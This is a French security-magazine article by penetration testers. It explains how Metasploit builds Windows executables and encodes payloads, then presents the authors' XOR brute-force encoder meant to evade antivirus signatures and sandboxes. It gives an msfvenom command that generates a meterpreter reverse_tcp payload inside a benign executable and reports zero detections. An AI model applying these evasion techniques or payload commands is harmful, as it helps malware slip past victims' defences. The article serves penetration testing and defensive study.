Contournement antiviral avec Metasploit : encrypter

Magazine
Marque
MISC
Numéro
81
Mois de parution
septembre 2015
Domaines


Résumé
Le projet que nous allons vous exposer est parti d’un constat simple : un grand nombre de nos attaques utilisant la suite Metasploit n’arrivait pas à leur terme, en raison des protections mises en place par des solutions de protection de type antivirus, H-IPS, etc. L’objectif de cet article est de proposer une approche générique permettant de contourner rapidement ces protections tout en permettant d’utiliser, inchangés, les nombreux codes d’exploitation ASM/x86 publics ; quel que soit le vecteur d’attaque (fichier, service réseau, etc.).

Body

1. Le Framework Metasploit

Metasploit Framework souvent désigné par son abréviation MSF est un projet open source développé principalement en Ruby. Son but est d’aider à la réalisation de tests liés à la sécurité des SI et au développement rapide de code d’exploitation.

Il est organisé de façon modulaire et possède plusieurs interfaces utilisateurs qu’on ne présente plus : msfconsole, msfcli, msfpayload , msfencode, etc. Les deux dernières seront celles qui nous intéresseront dans cet article. Ces deux interfaces, en l’occurrence msfpayload et msfencode sont désormais rassemblées en une seule nommée msfvenom. La commande msfpayload permet la génération de code malveillant pouvant se présenter sous différents formats (C, Python, JavaScript, etc.) en fonction du contexte dans lequel sera exécutée cette charge. Cette composante d’encodage disponible dans metasploit a pour unique fonction la suppression de caractères tels que la présence d’un octet nul x00 représentant la fin d’une chaîne de caractères et peut poser problème lors de l’exploitation de vulnérabilités. En effet, l’encodeur modifie le code de la charge malveillante. À titre d’exemple, une opération de type XOR peut être appliquée à chaque octet. Cette transformation entraînera la modification de la signature détectée par les antivirus. C’est pour cette raison que les encodeurs sont souvent assimilés, à tort, a des moyens de contourner les solutions antivirales.

1.1 Les templates

Les « templates » sont des fichiers exécutables à l’intérieur desquels Metasploit insère une charge malveillante. Il en existe plusieurs disponibles par défaut pour les systèmes d’exploitation GNU/Linux, Microsoft Windows, Mac OS X et pour d’autres architectures plus exotiques. Ces fichiers sont stockés dans le répertoire metasploit-framework/data/templates/, on y trouve notamment ceux utilisés pour le format PE :

template_x64_windows.exe

template_x64_windows_svc.exe

template_x86_windows.exe

template_x86_windows_old.exe

template_x86_windows_svc.exe

Il est également possible de remplacer ces templates fournis par défaut, bien connus des éditeurs de solutions antivirales, par un exécutable quelconque, correspondant en termes d’architecture et de format (utilisation de l’option -x).

Dans le cadre de cet article, nous nous intéresserons principalement à la sortie d’un exécutable 32 bits au format PE. Prenons le cas d’un système d’exploitation Windows x86, le fichier utilisé sera template_x86_windows.exe. L’image ci-dessous nous montre l’analyse de cet exécutable (sans charge malveillante insérée) par le site internet virustotal.com.

virustotal_figure1

Figure 1 : Analyse de l'exécutable « template_x86_windows.exe » sans charge malveillante.

Comme nous pouvons le constater si l’objectif est de réaliser un exécutable totalement indétectable, notre démarche n’est pas satisfaisante du fait que le template par défaut, dépourvu de charge, est détecté comme malveillant.

1.2 Format de sortie

Metasploit utilise différents formats de sortie. Pour les systèmes Microsoft Windows, nous avons la possibilité de générer la charge soit dans une librairie avec l’option dll, soit liée à un service avec l’option exe-service. Nous nous intéresserons surtout aux exécutables au format PE. En effet, il existe plusieurs options dont la différence réside dans la façon d’insérer et d’exécuter la charge. C’est ainsi que nous disposons des options exe, exe-only et exe-small. Cette dernière étant aisément détectée n’est plus très utile et ne sera donc pas abordée au cours de cet article.

1.2.1 exe

Nous allons commencer par expliquer le fonctionnement de l’option exe. Elle fait appel à la fonction to_win32pe contenue dans le fichier metasploit/lib/msf/util/exe.rb. Dans les premières lignes figure l’appel à la fonction win32_rwx_exec.

# Copy the code to a new RWX segment to allow for self-modifying encoders

payload = win32_rwx_exec(code)

Cette fonction prend comme paramètre la variable code, qui est en réalité une charge seule (ex : windows/x86/meterpreter/reverse_tcp), ou un trampoline associé à une charge, si cette dernière a été encodée. La fonction va concaténer un trampoline à la variable code passée en paramètre. Le résultat de cette action est stocké dans la variable payload présente dans la séquence mentionnée ci-dessus.

Le trampoline, une fois exécuté, va allouer une zone mémoire grâce à la fonction VirtualAllocavec les droits PAGE_EXECUTE_READWRITE. Le fonctionnement du trampoline est volontairement simplifié puisque préalablement à l’appel de la fonction VirtualAlloc il a besoin d’obtenir les adresses des fonctions. À ces fins, il utilise la méthode suffisamment détaillée sur Internet dont on peut prendre connaissance avec la référence [2].

Revenons à la fonction to_win32pe. Elle va chercher une section exécutable suffisamment grande pour contenir la charge. Puis elle va tirer aléatoirement la position où sera placée la variable payload

# Pick a random offset to store the payload

poff = rand(block[1] - payload.length - 256)

Par la suite, elle appelle la fonction generate_nopsqui créer une suite de nops et d’instructions aléatoires placées sur le point d’entrée.

# Pad the entry point with random nops

entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)

À la fin du bloc entry un saut vers la charge est inséré.

# Relative jump from the end of the nops to the payload

entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

La fonction mélange ensuite, de façon aléatoire, 25 % du code original écrit dans la section .text, les blocs entries et payload; modifie le timestamp et recalcule le checksum. Le traitement est résumé dans le schéma ci-dessous :

encodeur_exe_ruby

Figure 2 : Analyse du fonctionnement de l'encodeur pour le format de sortie « exe ».

1.2.2 exe-only

L’option que nous allons détailler maintenant est exe-only qui fait appel à la fonction to_winpe_only. Le code ci-dessous permet de parcourir les sections à la recherche de celle contenant le point d’entrée. Nous vérifions toujours que la taille est suffisante pour écrire la charge. En effet, au lieu de créer un code qui allouera une zone mémoire, nous donnons à la section les droits en écriture et nous modifions, à cet effet, le champ characteristics. La charge sera, alors, directement exécutée dans la section exécutable du binaire.

# look for section with entry point

sections_header.each do |sec|

virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]

sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]

characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]


if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)

importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]

if (importsTable - addressOfEntryPoint) < code.length

#shift original entry point to prevent tables overwritting

addressOfEntryPoint = importsTable - code.length + 4


entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset

exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')

end

# put this section writable

characteristics |= 0x8000_0000

newcharacteristics = [characteristics].pack('V')

exe[sec[0],newcharacteristics.length] = newcharacteristics

end

end

Enfin, la charge sera directement placée au niveau du point d’entrée de notre fichier exécutable.

# put the shellcode at the entry point, overwriting template

entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)

exe[entryPoint_file_offset,code.length] = code

exe = clear_dynamic_base(exe, pe)

exe

1.3 Encoder

L’outil msfencode, souvent utilisé conjointement avec msfpayload, permet d’encoder la charge en fonction du format cible et de l’encodeur retenu. Pour que le code d’exploitation fonctionne correctement, une des actions devant, par exemple, être souvent réalisée, consiste en la suppression des mauvais caractères. msfencode fait appel aux fonctions du script lib/msf/core/encoder.rb. Ce dernier contient notamment deux classes : EncoderState et Encoder.

- EncoderState sert à suivre l’état d’avancement de l’encodage. Il stocke des attributs tels que buf, correspondant au buffer initial, qui contient la charge non modifiée et encoded, correspondant au buffer final, qui contient la charge encodée (et/ou) chiffrée, et bien d’autres attributs.

- Encoder qui génère à l’aide de la fonction encodeune version encodée du buffer passé en argument. Tous les encodeurs héritent de cette deuxième classe.

L’image ci-dessous illustre cette fonction :

fonction_encode_ruby

Figure 3 : Code de la fonction ruby encode().

La séquence qui va nous intéresser se situe à partir de la ligne 268. Nous constatons qu’elle fait appel à trois fonctions : encode_begin et encode_end, toutes deux redéfinies dans l’encodeur sélectionné, et do_encode.

- encode_begin réalise des tâches préalables à l’encodage ;

- encode_endvaréaliser les actions postérieures à l’encodage ;

- do_encodeva permettre les actions de génération du trampoline et d’encodage de la chargecomme le montre l’exemple ci-après :

fonction_do_encode_ruby

Figure 4 : Code de la fonction ruby do_encode().

En ligne 286, la fonctiondecoder_stubest appelée. C’est à cet emplacement que sera généré le trampoline. Il est à noter que la séquence assembleur permet le décodage/déchiffrement de la charge en mémoire vive et son exécution. L’action exécutée ensuite est confiée à la fonction encode_block qui réalise l’encodage du buffer.Ces deux fonctions dépendent de l’encodeur. Une fois leurs actions réalisées, le trampoline et la charge sont concaténés (ligne 325).

2. Détection sans charge malveillante

Dans le tableau ci-dessous, nous avons voulu observer quelle composante les solutions antivirales détectent en excluant une charge malveillante :

Template

Format de sortie

Encoder

VirusTotal


template_x86_windows.exe (Metasploit)


exe-only

Aucun

18 / 54

exe

Aucun

29 / 54

exe-only

shikata_ga_nai

16 / 54

exe

shikata_ga_nai

35 / 54


PDFJPG.exe (http://www.pdfjpg.com)

exe-only

Aucun

0 / 54

exe

Aucun

19 / 54

exe-only

shikata_ga_nai

2 / 54

exe

shikata_ga_nai

25 / 54

Nous voyons clairement que le template Metasploit lève davantage d’alertes qu’un binaire quelconque. Nous pouvons également constater que le format de sortie exe est plus détecté que exe-only. Cela peut s’expliquer, en partie, par la technique utilisée pour l’exécution de la charge malveillante qui dans le cas de exe est faite par une allocation mémoire grâce à VirtualAlloc avec les droits PAGE_EXECUTE_READWRITE. Afin qu’un exécutable Windows ait le moins de chance d’être détecté par les solutions antivirales la première règle à respecter consiste à ne jamais utiliser les templates fournis par Metasploit, et la deuxième consiste à préférer exe-only pour le format de sortie.

3. Encrypter

3.1 Objectifs

L’outil que nous allons vous présenter maintenant n’est pas un encodeur, mais s’apparente plutôt à un outil de chiffrement, son objectif principal étant de rendre les charges malveillantes indétectables en les chiffrant. Notre outil de chiffrement doit contourner les protections antivirales, ce qui revient à prendre en compte la recherche par signature et la recherche par comportement. Afin de faciliter son utilisation, il est intégré comme encodeur au sein du framework Metasploit.

Notre implémentation utilise « l'algorithme XOR », parce que suffisant pour atteindre notre objectif.

3.2 Fonctionnement

Une idée simple permettant de contourner l’analyse par signature consiste à chiffrer la charge malveillante connue qui sera stockée dans un exécutable, dans un échange réseau, etc.

L’analyse comportementale est réalisée dans un bac à sable ou sandbox permettant d’exécuter, en limitant les risques, un code inconnu dans un environnement restreint. L’utilisateur ne souhaitant pas attendre indéfiniment, cette analyse doit être limitée dans le temps ou via un nombre de cycles de calcul. Si aucun comportement considéré comme malveillant n’a été identifié, la charge sera alors effectivement lancée sur le système d’exploitation. Réaliser un grand nombre de calculs, coûteux en temps, nécessaires pour retrouver le code malveillant en clair, nous permettra donc de contourner simplement l’analyse comportementale.

La solution retenue consiste à retrouver la clé de chiffrement par une attaque de type « force brute ». Notre stub contient un « clair connu », correspondant aux dix premiers octets de la charge non chiffrée. Ainsi pour retrouver la clé de chiffrement, il suffit d’effectuer une attaque par force brute sur les dix premiers octets de la charge chiffrée jusqu’à retomber sur le clair connu et ainsi retrouver la clé de chiffrement.

La durée de ce traitement étant supérieure à celle accordée à l’analyse effectuée en sandbox, cette dernière est contournée. Le temps nécessaire à cette opération dépend, en grande partie, de la puissance de la machine cible, des ressources CPU disponibles et de la grandeur de la clé. Dans notre implémentation, celle-ci est stockée dans un registre de 32 bits impliquant, de ce fait, 232 possibilités.

3.3 Utilisation

Le code source de l’outil se trouve à l’adresse suivante https://github.com/Sogeti-Pentest/Encrypter-Metasploit. Son installation est simple. Il suffit de copier le script ruby dans le répertoire metasploit/modules/encoders/x86/. Son utilisation est similaire à celle de tous les autres encodeurs de Metasploit.

Avec msfvenom :

msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=2222 -f raw -x filename.exe -f exe-only -e x86/bf_xor -o msf.exe


Avec msfconsole :

msf exploit(handler) > set ENCODER x86/bf_xor

ENCODER => x86/bf_xor

msf exploit(handler) > exploit

3.4 Résultats

Les tests effectués à la fin du projet sur le site virustotal.com nous ont montré qu’aucun antivirus, sur un total de 57 sélectionnés, n’a détecté la charge malveillante.

virustotal_figure2

Figure 5 : Résultat sur virustotal pour un binaire contenant une charge de type meterpreter/reverse_tcp encodée.

Nous avons également réalisé des tests dans une machine virtuelle avec les antivirus Kaspersky internet security 2014, Avast, Symantec, et bien d’autres lors de nos missions de tests d’intrusion. Aucun d’entre eux n’a détecté la charge, ni même émis une alerte. Cependant, certaines sandbox gardent l’exécutable plus longtemps que d’autres, il est donc nécessaire d’utiliser une clé assez grande ou de faire appel à l’option -c de msfencode permettant d’encoder plusieurs fois.

3.5 Points d’amélioration

Le développement d’un trampoline polymorphique, la gestion de clé de taille supérieure à 32 bits, la taille aléatoire du clair connu, une compatibilité avec l’architecture x64 sont des points d’amélioration laissés aux lecteurs en guise d’exercices ;-)

Remerciements

Merci aux équipes de SOGETI ESEC pentest & lab pour leurs relectures. Greetz à la fapsec family et au staff Root Me, thx pour les tests ;-p

Références

http://schierlm.users.sourceforge.net/avevasion.html

http://blog.harmonysecurity.com/2009_08_01_archive.html

https://www.scriptjunkie.us/2011/04/why-encoding-does-not-matter-and-how-metasploit-generates-exes/

https://github.com/rapid7/metasploit-framework




Articles qui pourraient vous intéresser...

Passez à nftables, le « nouveau » firewall de Linux

Magazine
Marque
Linux Pratique
Numéro
122
Mois de parution
novembre 2020
Domaines
Résumé

Le firewall est un élément important pour sécuriser un réseau. Il est prouvé que la sécurité par l’obscurantisme ne fonctionne pas. Ce n’est donc pas une bonne idée d’utiliser une boîte noire en priant pour que tout se passe bien. Un bon firewall est donc installé sur un système d’exploitation libre. Linux fait évoluer le sien d’iptables vers nftables. Nous montrons dans cet article comment débuter avec la nouvelle mouture.

Introduction au dossier : Sécurité de l’orchestrateur Kubernetes

Magazine
Marque
MISC
Numéro
112
Mois de parution
novembre 2020
Domaines
Résumé

Ce dossier s’intéresse à un système de plus en plus déployé aujourd’hui, à savoir l’orchestrateur Kubernetes. Au-delà de l’effet de mode évident dans son adoption actuelle, l’intérêt croissant pour ce projet nous amène forcément à nous poser une question essentielle : qu’en est-il de sa sécurité ? Devenu un standard de facto pour l’orchestration de conteneurs, Kubernetes, qui signifie gouvernail en grec, présente une architecture complexe et les possibilités de se tromper avec des conséquences importantes pour la sécurité d’un cluster sont nombreuses.

Répondez aux problématiques de sécurité d’accès avec OpenSSH

Magazine
Marque
Linux Pratique
HS n°
Numéro
49
Mois de parution
novembre 2020
Domaines
Résumé

Notre infrastructure est désormais stable et sécurisée tant au niveau système que réseau. Nous allons pouvoir étudier de manière un peu approfondie un logiciel particulier : OpenSSH. Ce démon réseau nous permet de nous connecter en toute sécurité sur nos serveurs via le protocole SSH. Son développement a commencé il y a plus de 20 ans chez nos amis d’OpenBSD. La liste de ses fonctionnalités est d’une longueur impressionnante. Nous allons en parcourir ensemble quelques-unes qui, je l’espère, nous permettront d’améliorer tant notre sécurité que notre productivité quotidienne.

Les lolbas, des amis qui vous veulent du bien

Magazine
Marque
MISC
Numéro
112
Mois de parution
novembre 2020
Domaines
Résumé

Il existe des fichiers nativement présents sur Windows pouvant être détournés par un attaquant et ainsi être utilisés lors des différentes phases de compromission. Dans cet article, nous présenterons quelques cas d’utilisations de ces fichiers par des attaquants, ainsi que des solutions de prévention contre ces attaques.